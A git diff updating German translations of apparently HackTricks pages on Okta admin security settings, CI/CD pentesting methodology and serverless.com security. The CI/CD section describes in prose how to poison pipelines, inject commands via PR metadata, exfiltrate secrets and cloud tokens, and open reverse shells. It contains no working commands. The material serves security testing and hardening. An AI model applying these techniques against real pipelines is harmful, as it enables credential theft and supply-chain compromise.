-## Security
+## Sicherheit
-### General
+### Allgemein
- **Sicherheitsbenachrichtigungs-E-Mails**: Alle sollten aktiviert sein.
- **CAPTCHA-Integration**: Es wird empfohlen, mindestens das unsichtbare reCaptcha einzustellen.
-- **Organisationssicherheit**: Alles kann aktiviert werden, und Aktivierungs-E-Mails sollten nicht lange dauern (7 Tage sind in Ordnung).
+- **Sicherheitsorganisation**: Alles kann aktiviert werden, und Aktivierungs-E-Mails sollten nicht lange dauern (7 Tage sind in Ordnung).
- **Benutzernummernverhinderung**: Beide sollten aktiviert sein.
- Beachten Sie, dass die Benutzernummernverhinderung nicht wirksam wird, wenn eine der folgenden Bedingungen erlaubt ist (siehe [Benutzerverwaltung](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) für weitere Informationen):
- Selbstregistrierung
-- JIT-Flüsse mit E-Mail-Authentifizierung
+- JIT-Workflows mit E-Mail-Authentifizierung
- **Okta ThreatInsight-Einstellungen**: Protokollieren und Durchsetzen von Sicherheit basierend auf dem Bedrohungsniveau.
### HealthInsight
Hier ist es möglich, korrekt und **gefährlich** konfigurierte **Einstellungen** zu finden.
-### Authenticators
+### Authentifizierer
-Hier finden Sie alle Authentifizierungsmethoden, die ein Benutzer verwenden könnte: Passwort, Telefon, E-Mail, Code, WebAuthn... Wenn Sie auf den Passwort-Authenticator klicken, können Sie die **Passwortrichtlinie** sehen. Überprüfen Sie, ob sie stark ist.
+Hier finden Sie alle Authentifizierungsmethoden, die ein Benutzer verwenden könnte: Passwort, Telefon, E-Mail, Code, WebAuthn... Wenn Sie auf den Passwort-Authentifizierer klicken, können Sie die **Passwortrichtlinie** sehen. Überprüfen Sie, ob sie stark ist.
-Im Tab **Enrollment** können Sie sehen, welche erforderlich oder optional sind:
+Im Tab **Enrollment** können Sie sehen, wie die erforderlichen oder optionalen aussehen:
Es wird empfohlen, das Telefon zu deaktivieren. Die stärksten sind wahrscheinlich eine Kombination aus Passwort, E-Mail und WebAuthn.
-### Authentication policies
+### Authentifizierungsrichtlinien
Jede App hat eine Authentifizierungsrichtlinie. Die Authentifizierungsrichtlinie überprüft, ob Benutzer, die versuchen, sich bei der App anzumelden, bestimmte Bedingungen erfüllen, und sie erzwingt Faktoranforderungen basierend auf diesen Bedingungen.
Hier finden Sie die **Anforderungen für den Zugriff auf jede Anwendung**. Es wird empfohlen, mindestens ein Passwort und eine andere Methode für jede Anwendung anzufordern. Aber wenn Sie als Angreifer etwas Schwächeres finden, könnten Sie es angreifen.
-### Global Session Policy
+### Globale Sitzungsrichtlinie
-Hier finden Sie die Sitzungspolitiken, die verschiedenen Gruppen zugewiesen sind. Zum Beispiel:
+Hier finden Sie die Sitzungsrichtlinien, die verschiedenen Gruppen zugewiesen sind. Zum Beispiel:
-Es wird empfohlen, MFA anzufordern, die Sitzungsdauer auf einige Stunden zu beschränken, Sitzungscookies nicht über Browsererweiterungen hinweg zu speichern und den Standort und den Identitätsanbieter (wenn dies möglich ist) zu beschränken. Wenn jeder Benutzer beispielsweise aus einem bestimmten Land anmelden sollte, könnten Sie nur diesen Standort zulassen.
+Es wird empfohlen, MFA anzufordern, die Sitzungsdauer auf einige Stunden zu beschränken, Sitzungs-Cookies nicht über Browsererweiterungen hinweg zu speichern und den Standort und den Identitätsanbieter (wenn dies möglich ist) zu beschränken. Wenn beispielsweise jeder Benutzer aus einem bestimmten Land anmelden sollte, könnten Sie nur diesen Standort zulassen.
-### Identity Providers
+### Identitätsanbieter
Identitätsanbieter (IdPs) sind Dienste, die **Benutzerkonten verwalten**. Das Hinzufügen von IdPs in Okta ermöglicht es Ihren Endbenutzern, sich mit Ihren benutzerdefinierten Anwendungen selbst zu registrieren, indem sie sich zuerst mit einem sozialen Konto oder einer Smartcard authentifizieren.
-Auf der Seite der Identitätsanbieter können Sie soziale Anmeldungen (IdPs) hinzufügen und Okta als Dienstanbieter (SP) konfigurieren, indem Sie eingehendes SAML hinzufügen. Nachdem Sie IdPs hinzugefügt haben, können Sie Routingregeln einrichten, um Benutzer basierend auf dem Kontext, wie dem Standort, dem Gerät oder der E-Mail-Domain des Benutzers, an einen IdP weiterzuleiten.
+Auf der Seite Identitätsanbieter können Sie soziale Anmeldungen (IdPs) hinzufügen und Okta als Dienstanbieter (SP) konfigurieren, indem Sie eingehendes SAML hinzufügen. Nachdem Sie IdPs hinzugefügt haben, können Sie Routingregeln einrichten, um Benutzer basierend auf dem Kontext, wie dem Standort des Benutzers, dem Gerät oder der E-Mail-Domain, an einen IdP weiterzuleiten.
**Wenn ein Identitätsanbieter konfiguriert ist**, überprüfen Sie aus der Perspektive eines Angreifers und Verteidigers diese Konfiguration und **ob die Quelle wirklich vertrauenswürdig ist**, da ein Angreifer, der sie kompromittiert, auch Zugriff auf die Okta-Umgebung erhalten könnte.
-### Delegated Authentication
+### Delegierte Authentifizierung
Die delegierte Authentifizierung ermöglicht es Benutzern, sich bei Okta anzumelden, indem sie Anmeldeinformationen für den **Active Directory (AD) oder LDAP**-Server ihrer Organisation eingeben.
Überprüfen Sie dies erneut, da ein Angreifer, der das AD einer Organisation kompromittiert, möglicherweise über diese Einstellung zu Okta pivotieren könnte.
-### Network
+### Netzwerk
-Eine Netzwerkzone ist eine konfigurierbare Grenze, die Sie verwenden können, um **Zugriff auf Computer und Geräte** in Ihrer Organisation basierend auf der **IP-Adresse**, die Zugriff anfordert, zu **gewähren oder einzuschränken**. Sie können eine Netzwerkzone definieren, indem Sie eine oder mehrere einzelne IP-Adressen, IP-Adressbereiche oder geografische Standorte angeben.
+Eine Netzwerkzone ist eine konfigurierbare Grenze, die Sie verwenden können, um **Zugriff auf Computer und Geräte** in Ihrer Organisation basierend auf der **IP-Adresse**, die Zugriff anfordert, zu gewähren oder einzuschränken. Sie können eine Netzwerkzone definieren, indem Sie eine oder mehrere einzelne IP-Adressen, IP-Adressbereiche oder geografische Standorte angeben.
-Nachdem Sie eine oder mehrere Netzwerkzonen definiert haben, können Sie **sie in globalen Sitzungspolitiken**, **Authentifizierungsrichtlinien**, VPN-Benachrichtigungen und **Routingregeln** verwenden.
+Nachdem Sie eine oder mehrere Netzwerkzonen definiert haben, können Sie **sie in globalen Sitzungsrichtlinien**, **Authentifizierungsrichtlinien**, VPN-Benachrichtigungen und **Routingregeln** verwenden.
Aus der Perspektive eines Angreifers ist es interessant zu wissen, welche IPs erlaubt sind (und zu überprüfen, ob einige **IPs privilegierter** sind als andere). Aus der Perspektive eines Angreifers, wenn die Benutzer von einer bestimmten IP-Adresse oder Region aus zugreifen sollten, überprüfen Sie, ob diese Funktion ordnungsgemäß verwendet wird.
-### Device Integrations
+### Geräteintegrationen
-- **Endpoint Management**: Endpoint Management ist eine Bedingung, die in einer Authentifizierungsrichtlinie angewendet werden kann, um sicherzustellen, dass verwaltete Geräte Zugriff auf eine Anwendung haben.
+- **Endpoint-Management**: Endpoint-Management ist eine Bedingung, die in einer Authentifizierungsrichtlinie angewendet werden kann, um sicherzustellen, dass verwaltete Geräte Zugriff auf eine Anwendung haben.
- Ich habe dies noch nicht gesehen. TODO
- **Benachrichtigungsdienste**: Ich habe dies noch nicht gesehen. TODO
### API
-Sie können auf dieser Seite Okta-API-Token erstellen und die **erstellten** Token, deren **Berechtigungen**, **Ablauf**-Zeit und **Ursprungs-URLs** sehen. Beachten Sie, dass API-Token mit den Berechtigungen des Benutzers generiert werden, der das Token erstellt hat, und nur gültig sind, wenn der **Benutzer**, der sie erstellt hat, **aktiv** ist.
+Sie können auf dieser Seite Okta-API-Token erstellen und die **erstellten**, deren **Berechtigungen**, **Ablaufzeit** und **Ursprungs-URLs** sehen. Beachten Sie, dass API-Token mit den Berechtigungen des Benutzers generiert werden, der das Token erstellt hat, und nur gültig sind, wenn der **Benutzer**, der sie erstellt hat, **aktiv** ist.
-Die **Trusted Origins** gewähren Zugriff auf Websites, die Sie kontrollieren und denen Sie vertrauen, um auf Ihre Okta-Organisation über die Okta-API zuzugreifen.
+Die **Vertrauenswürdigen Ursprünge** gewähren Zugriff auf Websites, die Sie kontrollieren und denen Sie vertrauen, um auf Ihre Okta-Organisation über die Okta-API zuzugreifen.
Es sollten nicht viele API-Token vorhanden sein, da ein Angreifer, wenn es viele gibt, versuchen könnte, auf sie zuzugreifen und sie zu verwenden.
## Workflow
-### Automations
+### Automatisierungen
Automatisierungen ermöglichen es Ihnen, automatisierte Aktionen zu erstellen, die basierend auf einer Reihe von Auslösebedingungen ausgeführt werden, die während des Lebenszyklus der Endbenutzer auftreten.
Ein Beispiel für eine Bedingung könnte "Benutzerinaktivität in Okta" oder "Ablauf des Benutzerpassworts in Okta" sein, und die Aktion könnte "E-Mail an den Benutzer senden" oder "Ändern des Benutzerlebenszyklusstatus in Okta" sein.
-## Reports
+## Berichte
-### Reports
+### Berichte
Laden Sie Protokolle herunter. Sie werden an die **E-Mail-Adresse** des aktuellen Kontos **gesendet**.
-### System Log
+### Systemprotokoll
Hier finden Sie die **Protokolle der von Benutzern durchgeführten Aktionen** mit vielen Details wie Anmeldungen in Okta oder in Anwendungen über Okta.
-### Import Monitoring
+### Importüberwachung
Dies kann **Protokolle von anderen Plattformen importieren**, die mit Okta aufgerufen wurden.
-### Rate limits
+### Ratenlimits
-Überprüfen Sie die erreichten API-Rate-Limits.
+Überprüfen Sie die erreichten API-Ratenlimits.
-## Settings
+## Einstellungen
-### Account
+### Konto
-Hier finden Sie **allgemeine Informationen** über die Okta-Umgebung, wie den Firmennamen, die Adresse, **E-Mail-Rechnungsadresse**, **E-Mail-technischer Kontakt** und auch, wer Okta-Updates erhalten sollte und welche Art von Okta-Updates.
+Hier finden Sie **allgemeine Informationen** über die Okta-Umgebung, wie den Firmennamen, die Adresse, den **E-Mail-Rechnungs-Kontakt**, den **E-Mail-technischen Kontakt** und auch, wer Okta-Updates erhalten sollte und welche Art von Okta-Updates.
### Downloads
diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
index 5429c8348..b090d2716 100644
--- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
@@ -1,4 +1,4 @@
-# Pentesting CI/CD Methodology
+# Pentesting CI/CD Methodologie
{{#include ../banners/hacktricks-training.md}}
@@ -20,7 +20,7 @@ CI/CD-Pipelines ermöglichen es Entwicklern, die **Ausführung von Code** für v
Diese Systeme müssen jedoch **irgendwo ausgeführt werden** und normalerweise mit **privilegierten Anmeldeinformationen, um Code bereitzustellen oder auf sensible Informationen zuzugreifen**.
-## VCS Pentesting Methodology
+## VCS Pentesting Methodologie
> [!NOTE]
> Auch wenn einige VCS-Plattformen das Erstellen von Pipelines erlauben, werden wir in diesem Abschnitt nur potenzielle Angriffe auf die Kontrolle des Quellcodes analysieren.
@@ -37,25 +37,25 @@ Plattformen, die den Quellcode Ihres Projekts enthalten, enthalten sensible Info
- Wenn das Geheimnis in der URL ist, passiert dasselbe und der Angreifer hat auch das Geheimnis.
- **Code-Kompromittierung:** Wenn ein böswilliger Akteur eine Art von **Schreibzugriff** auf die Repos hat, könnte er versuchen, **bösartigen Code einzuschleusen**. Um erfolgreich zu sein, muss er möglicherweise **Branch-Schutzmaßnahmen umgehen**. Diese Aktionen können mit verschiedenen Zielen im Hinterkopf durchgeführt werden:
- Kompromittierung des Hauptzweigs, um **die Produktion zu gefährden**.
-- Kompromittierung des Hauptzweigs (oder anderer Zweige), um **Entwicklermaschinen zu gefährden** (da sie normalerweise Tests, Terraform oder andere Dinge innerhalb des Repos auf ihren Maschinen ausführen).
+- Kompromittierung des Hauptzweigs (oder anderer Zweige), um **Entwicklermaschinen zu gefährden** (da sie normalerweise Tests, Terraform oder andere Dinge auf ihren Maschinen im Repo ausführen).
- **Kompromittierung der Pipeline** (siehe nächsten Abschnitt).
-## Pipelines Pentesting Methodology
+## Pipelines Pentesting Methodologie
Der gebräuchlichste Weg, eine Pipeline zu definieren, besteht darin, eine **CI-Konfigurationsdatei, die im Repository gehostet wird**, zu verwenden, das die Pipeline erstellt. Diese Datei beschreibt die Reihenfolge der ausgeführten Jobs, Bedingungen, die den Ablauf beeinflussen, und Einstellungen der Build-Umgebung.\
Diese Dateien haben typischerweise einen konsistenten Namen und ein konsistentes Format, zum Beispiel — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) und die GitHub Actions YAML-Dateien, die sich unter .github/workflows befinden. Wenn sie ausgelöst werden, **zieht der Pipeline-Job den Code** aus der ausgewählten Quelle (z.B. Commit / Branch) und **führt die im CI-Konfigurationsdatei angegebenen Befehle** gegen diesen Code aus.
-Daher ist das ultimative Ziel des Angreifers, irgendwie **diese Konfigurationsdateien** oder die **Befehle, die sie ausführen**, zu **kompromittieren**.
+Daher ist das ultimative Ziel des Angreifers, auf irgendeine Weise **diese Konfigurationsdateien** oder die **Befehle, die sie ausführen**, zu **kompromittieren**.
-### PPE - Poisoned Pipeline Execution
+### PPE - Vergiftete Pipeline-Ausführung
-Der Poisoned Pipeline Execution (PPE) Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den erforderlichen Berechtigungen können CI-Konfigurationsdateien oder andere Dateien, die vom Pipeline-Job verwendet werden, ändern, um bösartige Befehle einzufügen. Dies "vergiftet" die CI-Pipeline und führt zur Ausführung dieser bösartigen Befehle.
+Der Vergiftete Pipeline-Ausführungs (PPE) Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den erforderlichen Berechtigungen können CI-Konfigurationsdateien oder andere Dateien, die vom Pipeline-Job verwendet werden, ändern, um bösartige Befehle einzuschließen. Dies "vergiftet" die CI-Pipeline und führt zur Ausführung dieser bösartigen Befehle.
Damit ein böswilliger Akteur bei einem PPE-Angriff erfolgreich ist, muss er in der Lage sein:
- **Schreibzugriff auf die VCS-Plattform** zu haben, da Pipelines normalerweise ausgelöst werden, wenn ein Push oder ein Pull-Request durchgeführt wird. (Überprüfen Sie die VCS-Pentesting-Methodologie für eine Zusammenfassung der Möglichkeiten, Zugriff zu erhalten).
- Beachten Sie, dass manchmal ein **externer PR als "Schreibzugriff" zählt**.
-- Selbst wenn er Schreibberechtigungen hat, muss er sicherstellen, dass er die **CI-Konfigurationsdatei oder andere Dateien, auf die die Konfiguration angewiesen ist, ändern kann**.
+- Selbst wenn er Schreibberechtigungen hat, muss er sicherstellen, dass er die **CI-Konfigurationsdatei oder andere Dateien, auf die die Konfiguration angewiesen ist**, **ändern** kann.
- Dazu muss er möglicherweise in der Lage sein, **Branch-Schutzmaßnahmen zu umgehen**.
Es gibt 3 PPE-Varianten:
@@ -65,39 +65,39 @@ Es gibt 3 PPE-Varianten:
- **Öffentlicher PPE oder 3PE**: In einigen Fällen können die Pipelines von Benutzern **ausgelöst werden, die keinen Schreibzugriff im Repo haben** (und die möglicherweise nicht einmal Teil der Organisation sind), weil sie einen PR senden können.
- **3PE-Befehlsinjektion**: Normalerweise setzen CI/CD-Pipelines **Umgebungsvariablen** mit **Informationen über den PR**. Wenn dieser Wert von einem Angreifer kontrolliert werden kann (wie der Titel des PR) und in einem **gefährlichen Ort** (wie der Ausführung von **sh-Befehlen**) **verwendet** wird, könnte ein Angreifer **Befehle dort injizieren**.
-### Exploitation Benefits
+### Ausbeutungsnutzen
-Wenn man die 3 Varianten kennt, um eine Pipeline zu vergiften, lassen Sie uns überprüfen, was ein Angreifer nach einer erfolgreichen Ausnutzung erhalten könnte:
+Wenn man die 3 Varianten kennt, um eine Pipeline zu vergiften, lassen Sie uns überprüfen, was ein Angreifer nach einer erfolgreichen Ausbeutung erhalten könnte:
-- **Geheimnisse**: Wie bereits erwähnt, erfordern Pipelines **Berechtigungen** für ihre Jobs (Code abrufen, erstellen, bereitstellen...) und diese Berechtigungen werden normalerweise **in Geheimnissen gewährt**. Diese Geheimnisse sind normalerweise über **Umgebungsvariablen oder Dateien im System** zugänglich. Daher wird ein Angreifer immer versuchen, so viele Geheimnisse wie möglich zu exfiltrieren.
+- **Geheimnisse**: Wie bereits erwähnt, erfordern Pipelines **Berechtigungen** für ihre Jobs (den Code abrufen, ihn erstellen, bereitstellen...) und diese Berechtigungen werden normalerweise **in Geheimnissen gewährt**. Diese Geheimnisse sind normalerweise über **Umgebungsvariablen oder Dateien im System** zugänglich. Daher wird ein Angreifer immer versuchen, so viele Geheimnisse wie möglich zu exfiltrieren.
- Abhängig von der Pipeline-Plattform muss der Angreifer möglicherweise **die Geheimnisse in der Konfiguration angeben**. Das bedeutet, dass, wenn der Angreifer die CI-Konfigurationspipeline nicht ändern kann (**I-PPE** zum Beispiel), er **nur die Geheimnisse exfiltrieren könnte, die diese Pipeline hat**.
- **Berechnung**: Der Code wird irgendwo ausgeführt, abhängig davon, wo er ausgeführt wird, könnte ein Angreifer in der Lage sein, weiter zu pivotieren.
-- **On-Premises**: Wenn die Pipelines vor Ort ausgeführt werden, könnte ein Angreifer in einem **internen Netzwerk mit Zugriff auf mehr Ressourcen** enden.
-- **Cloud**: Der Angreifer könnte auf **andere Maschinen in der Cloud** zugreifen, könnte aber auch **IAM-Rollen/Dienstkonten-Tokens** von dort **exfiltrieren**, um **weiteren Zugriff innerhalb der Cloud** zu erhalten.
-- **Plattformmaschine**: Manchmal werden die Jobs innerhalb der **Pipelines-Plattformmaschinen** ausgeführt, die sich normalerweise in einer Cloud mit **keinem weiteren Zugriff** befinden.
+- **Vor Ort**: Wenn die Pipelines vor Ort ausgeführt werden, könnte ein Angreifer in einem **internen Netzwerk mit Zugang zu mehr Ressourcen** enden.
+- **Cloud**: Der Angreifer könnte auf **andere Maschinen in der Cloud** zugreifen, könnte aber auch **IAM-Rollen/Dienstkonten-Tokens** von dort **exfiltrieren**, um **weiteren Zugang innerhalb der Cloud** zu erhalten.
+- **Plattformmaschine**: Manchmal werden die Jobs innerhalb der **Pipelines-Plattformmaschinen** ausgeführt, die sich normalerweise in einer Cloud mit **keinem weiteren Zugang** befinden.
- **Wählen Sie es aus:** Manchmal hat die **Pipelines-Plattform mehrere Maschinen konfiguriert**, und wenn Sie die **CI-Konfigurationsdatei ändern können**, können Sie **angeben, wo Sie den bösartigen Code ausführen möchten**. In dieser Situation wird ein Angreifer wahrscheinlich auf jeder möglichen Maschine eine Reverse-Shell ausführen, um zu versuchen, sie weiter auszunutzen.
- **Kompromittierung der Produktion**: Wenn Sie sich innerhalb der Pipeline befinden und die endgültige Version von dort erstellt und bereitgestellt wird, könnten Sie **den Code kompromittieren, der letztendlich in der Produktion ausgeführt wird**.
-## More relevant info
+## Weitere relevante Informationen
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ist ein Open-Source-Tool zur Überprüfung Ihres Software-Lieferketten-Stacks auf Sicherheitskonformität basierend auf einem neuen [**CIS Software Supply Chain Benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Die Überprüfung konzentriert sich auf den gesamten SDLC-Prozess, in dem Risiken von der Codezeit bis zur Bereitstellungszeit aufgedeckt werden können.
-### Top 10 CI/CD Security Risk
+### Top 10 CI/CD Sicherheitsrisiken
Überprüfen Sie diesen interessanten Artikel über die Top 10 CI/CD-Risiken laut Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
-- Auf jeder Plattform, die Sie lokal ausführen können, finden Sie, wie Sie sie lokal starten können, damit Sie sie nach Belieben konfigurieren und testen können.
-- Gitea + Jenkins-Labor: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
+- Auf jeder Plattform, die Sie lokal ausführen können, finden Sie, wie Sie sie lokal starten können, damit Sie sie nach Ihren Wünschen konfigurieren können, um sie zu testen.
+- Gitea + Jenkins Lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
-### Automatic Tools
+### Automatische Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ist ein statisches Code-Analyse-Tool für Infrastruktur als Code.
-## References
+## Referenzen
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md
index 234840cf8..7dc7968f3 100644
--- a/src/pentesting-ci-cd/serverless.com-security.md
+++ b/src/pentesting-ci-cd/serverless.com-security.md
@@ -2,15 +2,15 @@
{{#include ../banners/hacktricks-training.md}}
-## Grundlegende Informationen
+## Grundinformationen
### Organisation
-Eine **Organisation** ist die höchste Ebene innerhalb des Serverless Framework-Ökosystems. Sie repräsentiert eine **kollektive Gruppe**, wie ein Unternehmen, eine Abteilung oder eine andere große Einheit, die mehrere Projekte, Teams und Anwendungen umfasst.
+Eine **Organisation** ist die höchste Ebene innerhalb des Serverless Framework-Ökosystems. Sie repräsentiert eine **kollektive Gruppe**, wie ein Unternehmen, eine Abteilung oder eine große Einheit, die mehrere Projekte, Teams und Anwendungen umfasst.
### Team
-Das **Team** sind die Benutzer mit Zugang innerhalb der Organisation. Teams helfen dabei, Mitglieder basierend auf Rollen zu organisieren. **`Mitarbeiter`** können bestehende Apps anzeigen und bereitstellen, während **`Administratoren`** neue Apps erstellen und die Organisationseinstellungen verwalten können.
+Das **Team** sind die Benutzer mit Zugang innerhalb der Organisation. Teams helfen dabei, Mitglieder basierend auf Rollen zu organisieren. **`Mitarbeiter`** können bestehende Apps anzeigen und bereitstellen, während **`Administratoren`** neue Apps erstellen und die Einstellungen der Organisation verwalten können.
### Anwendung
@@ -34,7 +34,7 @@ handler: handler.hello
Eine **Funktion** stellt eine einzelne serverlose Funktion dar, wie z.B. eine AWS Lambda-Funktion. Sie enthält den Code, der als Reaktion auf Ereignisse ausgeführt wird.
-Sie ist im Abschnitt `functions` in `serverless.yml` definiert und gibt den Handler, die Laufzeit, Ereignisse, Umgebungsvariablen und andere Einstellungen an.
+Sie wird im Abschnitt `functions` in `serverless.yml` definiert, wobei der Handler, die Laufzeit, Ereignisse, Umgebungsvariablen und andere Einstellungen angegeben werden.
```yaml
functions:
hello:
@@ -128,7 +128,7 @@ region: us-west-2
Plugins
-**Plugins** erweitern die Funktionalität des Serverless Frameworks, indem sie neue Funktionen hinzufügen oder mit anderen Tools und Diensten integriert werden. Sie werden im Abschnitt `plugins` definiert und über npm installiert.
+**Plugins** erweitern die Funktionalität des Serverless Frameworks, indem sie neue Funktionen hinzufügen oder mit anderen Tools und Diensten integriert werden. Sie sind im Abschnitt `plugins` definiert und werden über npm installiert.
```yaml
plugins:
- serverless-offline
@@ -157,7 +157,7 @@ layers:
Variablen und benutzerdefinierte Variablen
-**Variablen** ermöglichen eine dynamische Konfiguration, indem sie die Verwendung von Platzhaltern erlauben, die zur Deploy-Zeit aufgelöst werden.
+**Variablen** ermöglichen eine dynamische Konfiguration, indem sie die Verwendung von Platzhaltern erlauben, die zur Zeit der Bereitstellung aufgelöst werden.
- **Syntax:** `${variable}`-Syntax kann auf Umgebungsvariablen, Dateiinhalte oder andere Konfigurationsparameter verweisen.
@@ -183,7 +183,7 @@ stage: ${opt:stage, 'dev'}
Ausgaben
-**Ausgaben** definieren die Werte, die nach der Bereitstellung eines Dienstes zurückgegeben werden, wie z. B. Ressourcen-ARNs, Endpunkte oder andere nützliche Informationen. Sie werden im Abschnitt `outputs` angegeben und häufig verwendet, um Informationen an andere Dienste weiterzugeben oder den einfachen Zugriff nach der Bereitstellung zu ermöglichen.
+**Ausgaben** definieren die Werte, die nach der Bereitstellung eines Dienstes zurückgegeben werden, wie z.B. Ressourcen-ARNs, Endpunkte oder andere nützliche Informationen. Sie werden im Abschnitt `outputs` angegeben und häufig verwendet, um Informationen an andere Dienste weiterzugeben oder um einen einfachen Zugriff nach der Bereitstellung zu ermöglichen.
```yaml
¡outputs:
ApiEndpoint:
@@ -204,7 +204,7 @@ Fn::Join:
IAM-Rollen und Berechtigungen
-**IAM-Rollen und Berechtigungen** definieren die Sicherheitsanmeldeinformationen und Zugriffsrechte für Ihre Funktionen und andere Ressourcen. Sie werden unter den `provider`- oder individuellen Funktionseinstellungen verwaltet, um die erforderlichen Berechtigungen anzugeben.
+**IAM-Rollen und Berechtigungen** definieren die Sicherheitsanmeldeinformationen und Zugriffsrechte für Ihre Funktionen und andere Ressourcen. Sie werden unter den `provider` oder den Einstellungen der einzelnen Funktionen verwaltet, um die erforderlichen Berechtigungen festzulegen.
```yaml
provider:
[...]
@@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-
Umgebungsvariablen
-**Variablen** ermöglichen es Ihnen, Konfigurationseinstellungen und Geheimnisse an Ihre Funktionen zu übergeben, ohne sie hart zu codieren. Sie werden im Abschnitt `environment` für entweder den Anbieter oder einzelne Funktionen definiert.
+**Variablen** ermöglichen es Ihnen, Konfigurationseinstellungen und Geheimnisse an Ihre Funktionen zu übergeben, ohne sie fest einzugeben. Sie werden im Abschnitt `environment` für entweder den Anbieter oder einzelne Funktionen definiert.
```yaml
provider:
environment:
@@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
## Create A New App
## Indicate a name like "tutorialapp)
```
-Dies sollte eine **App** namens `tutorialapp` erstellt haben, die Sie in [serverless.com](serverless.com-security.md) überprüfen können, sowie einen Ordner namens `Tutorial` mit der Datei **`handler.js`**, die einige JS-Code mit einem `helloworld`-Code enthält, und die Datei **`serverless.yml`**, die diese Funktion deklariert:
+Dies sollte eine **App** namens `tutorialapp` erstellt haben, die Sie in [serverless.com](serverless.com-security.md) überprüfen können, sowie einen Ordner namens `Tutorial` mit der Datei **`handler.js`**, die einige JS-Code mit einem `helloworld`-Code enthält, und der Datei **`serverless.yml`**, die diese Funktion deklariert:
{{#tabs }}
{{#tab name="handler.js" }}
@@ -324,7 +324,7 @@ method: get
{{#endtabs }}
4. Erstellen Sie einen AWS-Anbieter, indem Sie im **Dashboard** zu `https://app.serverless.com//settings/providers?providerId=new&provider=aws` gehen.
-1. Um `serverless.com` Zugriff auf AWS zu gewähren, wird es aufgefordert, einen CloudFormation-Stack mit dieser Konfigurationsdatei auszuführen (zum Zeitpunkt dieses Schreibens): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
+1. Um `serverless.com` Zugriff auf AWS zu gewähren, wird es aufgefordert, einen CloudFormation-Stack mit dieser Konfigurationsdatei auszuführen (zum Zeitpunkt des Schreibens): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
2. Diese Vorlage generiert eine Rolle mit dem Namen **`SFRole-`** mit **`arn:aws:iam::aws:policy/AdministratorAccess`** über das Konto mit einer Vertrauensidentität, die dem `Serverless.com` AWS-Konto den Zugriff auf die Rolle ermöglicht.
@@ -482,8 +482,8 @@ TableName: ${self:service}-customerTable-${sls:stage}
{{#endtabs }}
6. Bereitstellung mit **`serverless deploy`**
-1. Die Bereitstellung erfolgt über einen CloudFormation-Stack
-2. Beachten Sie, dass die **Lambdas über das API-Gateway exponiert sind** und nicht über direkte URLs
+1. Die Bereitstellung erfolgt über einen CloudFormation Stack
+2. Beachten Sie, dass die **lambdas über API Gateway exponiert sind** und nicht über direkte URLs
7. **Testen Sie es**
1. Der vorherige Schritt gibt die **URLs** aus, unter denen Ihre API-Endpunkt-Lambda-Funktionen bereitgestellt wurden
@@ -556,7 +556,7 @@ Das Speichern sensibler Informationen (z. B. API-Schlüssel, Datenbankanmeldeinf
Die **empfohlene** Methode zum Speichern von Umgebungsvariablen in der **`serverless.yml`**-Datei von serverless.com (zum Zeitpunkt dieses Schreibens) besteht darin, die `ssm`- oder `s3`-Provider zu verwenden, die es ermöglichen, die **Umgebungswerte aus diesen Quellen zur Bereitstellungszeit abzurufen** und die **Umgebungsvariablen der **lambdas** mit dem **Text ohne die Werte** zu konfigurieren!
> [!CAUTION]
-> Daher kann jeder, der Berechtigungen zum Lesen der Konfiguration der lambdas innerhalb von AWS hat, **auf alle diese Umgebungsvariablen im Klartext zugreifen!**
+> Daher kann jeder mit Berechtigungen zum Lesen der Konfiguration der lambdas innerhalb von AWS **auf alle diese Umgebungsvariablen im Klartext zugreifen!**
Zum Beispiel wird das folgende Beispiel SSM verwenden, um eine Umgebungsvariable abzurufen:
```yaml
@@ -564,14 +564,14 @@ provider:
environment:
DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
```
-Und selbst wenn dies das Hardcoding des Wertes der Umgebungsvariablen in der **`serverless.yml`**-Datei verhindert, wird der Wert zur Zeit der Bereitstellung abgerufen und wird **im Klartext in der Lambda-Umgebungsvariablen hinzugefügt**.
+Und selbst wenn dies das Hardcoding des Wertes der Umgebungsvariable in der **`serverless.yml`**-Datei verhindert, wird der Wert zur Zeit der Bereitstellung abgerufen und wird **im Klartext in der Lambda-Umgebungsvariable hinzugefügt**.
> [!TIP]
-> Der empfohlene Weg, Umgebungsvariablen mit serveless.com zu speichern, wäre, **es in einem AWS-Geheimnis zu speichern** und nur den geheimen Namen in der Umgebungsvariablen zu speichern, und der **Lambda-Code sollte es abrufen**.
